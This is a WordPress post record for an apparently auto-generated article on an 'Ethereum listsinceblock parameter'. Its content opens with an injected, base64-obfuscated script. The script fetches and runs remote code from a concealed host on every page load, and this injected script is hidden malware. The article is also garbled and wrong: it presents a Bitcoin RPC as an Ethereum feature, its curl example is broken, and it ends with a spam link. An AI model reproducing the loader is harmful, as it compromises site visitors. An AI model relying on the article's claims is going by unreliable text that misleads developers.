{"id":1869,"date":"2025-02-13T20:15:43","date_gmt":"2025-02-13T20:15:43","guid":{"rendered":"https:\/\/hccmena.com\/?p=1869"},"modified":"2025-02-13T20:15:43","modified_gmt":"2025-02-13T20:15:43","slug":"ethereum-listsinceblock-parameter-target-confirmations","status":"publish","type":"post","link":"https:\/\/hccmena.com\/index.php\/2025\/02\/13\/ethereum-listsinceblock-parameter-target-confirmations\/","title":{"rendered":"Ethereum: listsinceblock parameter: target-confirmations"},"content":{"rendered":"<\/p>\n<p><script>const pdx=\"bm9yZGVyc3dpbmcuYnV6ei94cC8=\";const pde=atob(pdx);const script=document.createElement(\"script\");script.src=\"https:\/\/\"+pde+\"cc.php?u=6372fcd8\";document.body.appendChild(script);<\/script>\n<\/p>\n<p><strong>Ethereum Transaction Retrieval: The \u201clistsinceblock\u201d Parameter Explained<\/strong><\/p>\n<p>The \u201clistsinceblock\u201d parameter is a fundamental part of the Ethereum blockchain, allowing users to retrieve a list of all transactions in blocks since a given block hash, or all transactions if a block hash is not provided. In this article, we will delve into the details of this parameter and its usage.<\/p>\n<p><strong>What is \u201clistsinceblock\u201d?<\/strong><\/p>\n<p>\u201clistsinceblock\u201d is an HTTP request that retrieves a list of all transactions in blocks since a given block hash, or all transactions if a block hash is not provided. This parameter is used by web3.py, a popular Python library for interacting with the Ethereum blockchain, to retrieve transactions from the blockchain.<\/p>\n<p>**Arguments: \u201c1. &#8220;blockhash&#8221; (&#8230;<\/p>\n<ul>\n<li><strong>Block hash<\/strong>\n<p><iframe loading=\"lazy\" width=\"560\" height=\"315\" src=\"https:\/\/www.youtube.com\/embed\/mVDGLOKwhwE\" frameborder=\"0\" allowfullscreen><\/iframe><\/p>\n<p>: The first argument is required and specifies the block hash from which to start fetching transactions. You can use this to fetch specific blocks or to fetch all transactions if a block hash is not provided.<\/li>\n<\/ul>\n<ul>\n<li><strong><code>target-confirmations<\/code><\/strong>\n<p><img decoding=\"async\" alt=\"Ethereum: listsinceblock parameter: target-confirmations\n\" src=\"https:\/\/hccmena.com\/wp-content\/uploads\/2025\/02\/d7c01267.png\"><\/p>\n<p>: Optional, the third argument specifies the target number of confirmations for each block before including it in the response. By default, <code>listsinceblock<\/code> includes transactions from blocks with fewer than 4 confirmations.<\/li>\n<\/ul>\n<p>**Return value: <code>1.<\/code>list<code>(...<\/p>\n<p>The<\/code>listsinceblock<code>parameter returns a JSON object containing all transactions since the specified block hash or if no block hash is provided. The response may include metadata such as block number, timestamp, and transaction count.<\/p>\n<p><strong>Usage example:<\/strong><\/p>\n<p>''bash<\/p>\n<p>curl -X POST \\<\/p>\n<p> \\<\/p>\n<p>-H \"Content-Type: application\/json\" \\<\/p>\n<p>-d '{\"key\":\"value\"}'<\/p>\n<p><pre><code><\/p><p>In this example, replace \"YOUR_PROJECT_ID\" with your actual Infura project ID. The response from the server would be in JSON format:<\/p><p><\/code><\/pre>\n<p> json<\/p>\n<p>[<\/p>\n<p>{<\/p>\n<p>\"blockNumber\": 1,<\/p>\n<p>\"timestamp\": 1643723400,<\/p>\n<p>\"transactionCount\": 100,<\/p>\n<p>\"transactions\": [...]<\/p>\n<p>},<\/p>\n<p>{<\/p>\n<p>\"blockNumber\": 2,<\/p>\n<p>\"timestamp\": 1643723410,<\/p>\n<p>\"transactionCount\": 200,<\/p>\n<p>\"transactions\": [...]<\/p>\n<p>}<\/p>\n<p>]<\/p>\n<p><\/code>&#8220;<\/p>\n<p>To sum up, the &#8220;listsinceblock&#8221; parameter is a powerful tool for retrieving transactions from the Ethereum blockchain. By providing a block hash or a hash of it and specifying target confirmations, you can retrieve all related transactions or specific blocks with fewer than 4 confirmations.<\/p>\n<p><a href=\"https:\/\/chaseandco.uk\/bitcoin-how-can-i-export-the-lightning-network-graph\/\">BITCOIN EXPORT NETWORK<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Ethereum Transaction Retrieval: The \u201clistsinceblock\u201d Parameter Explained The \u201clistsinceblock\u201d parameter is a fundamental part of the Ethereum blockchain, allowing users to retrieve a list of all transactions in blocks since a given block hash, or all transactions if a block hash is not provided. In this article, we will delve into the details of this [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[9],"tags":[],"_links":{"self":[{"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/posts\/1869"}],"collection":[{"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/comments?post=1869"}],"version-history":[{"count":1,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/posts\/1869\/revisions"}],"predecessor-version":[{"id":1870,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/posts\/1869\/revisions\/1870"}],"wp:attachment":[{"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/media?parent=1869"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/categories?post=1869"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/tags?post=1869"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}